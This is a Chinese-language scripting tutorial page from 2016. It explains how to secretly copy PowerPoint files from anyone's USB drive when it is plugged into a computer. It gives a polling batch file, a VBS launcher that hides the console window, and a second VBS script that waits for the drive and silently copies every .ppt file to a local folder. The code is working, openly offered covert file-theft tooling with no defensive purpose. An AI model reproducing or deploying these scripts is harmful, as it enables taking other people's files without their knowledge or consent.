vbs 自动复制U盘的内容
来源: 阅读:1281 次 日期:2016-07-07 16:45:25
温馨提示: 小编为您整理了“vbs 自动复制U盘的内容”,方便广大网友查阅!

运行后当把U盘插入电脑后能够自动把U盘里的PPT偷拷下来。下面用记事本就能实现的批处理或vbs。

思路很简单,高层的东西没什么技术含量,引用几个函数或方法就行了。开始我用的是批处理(如果你插入U盘的盘符是J,把课件保存于F盘)打开记事本,键入以下内容:

代码如下:

:cheat

ping 127.0.0.1>nul

if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat

保存为main.bat,本来这个文件就够实现此功能了,但我想不到有什么DOS命令可以隐藏命令提示符界面,就不得不编了一个vbs脚本专门干这事:

打开记事本键入:

代码如下:

set wshshell=createobject("wscript.shell")

wshshell.run "main.bat",0

msgbox"已经注入",48,"夜月"

wscript.quit

保存为starter.vbs,注意这个文件要和main.bat放于同一目录下。然后双击starter.vbs即可运行。

后来,我想用vbs脚本可以搞得更牛叉一点,但这东西已经好长时间不玩了,我连inputbox都不知道怎么用的了,试了几次才搞得好了一点。很方便,打开记事本,键入:

代码如下:

on error resume next

dim udrive,dfold,src,ptr

set fso=createobject("Scripting.FileSystemObject")

do

udrive=inputbox("请按如下形式输入U盘盘符","用户指令",H)

loop until(udrive<="Z" and udrive>"B")

dfold=inputbox("请输入目标文件夹","用户指令","F:\Temp")

if (not fso.folderexists(dfold)) then

fso.createfolder(dfold)

end if

src=udrive + ":\*.ppt"

ptr=dfold + "\"

do while(1=1)

if fso.driveexists(udrive) then

fso.copyfile src,ptr,true

set fso=nothing

wscript.quit

end if

wscript.sleep 2000

loop

以上内容另存为xue.vbs即可,双击后运行。

更多信息请查看脚本栏目
手机网站地址:vbs 自动复制U盘的内容
由于各方面情况的不断调整与变化, 提供的所有考试信息和咨询回复仅供参考,敬请考生以权威部门公布的正式信息和咨询为准!
关于我们 | 联系我们 | 人才招聘 | 网站声明 | 网站帮助 | 非正式的简要咨询 | 简要咨询须知 | 加入群交流 | 手机站点 | 投诉建议
工业和信息化部备案号:滇ICP备2023014141号-1 云南省教育厅备案号:云教ICP备0901021 滇公网安备53010202001879号 人力资源服务许可证:(云)人服证字(2023)第0102001523号
云南网警备案专用图标
联系电话:0871-65317125(9:00—18:00) 获取招聘考试信息及咨询关注公众号:hfpxwx
咨询QQ:526150442(9:00—18:00)版权所有:
云南网警报警专用图标
Baidu
map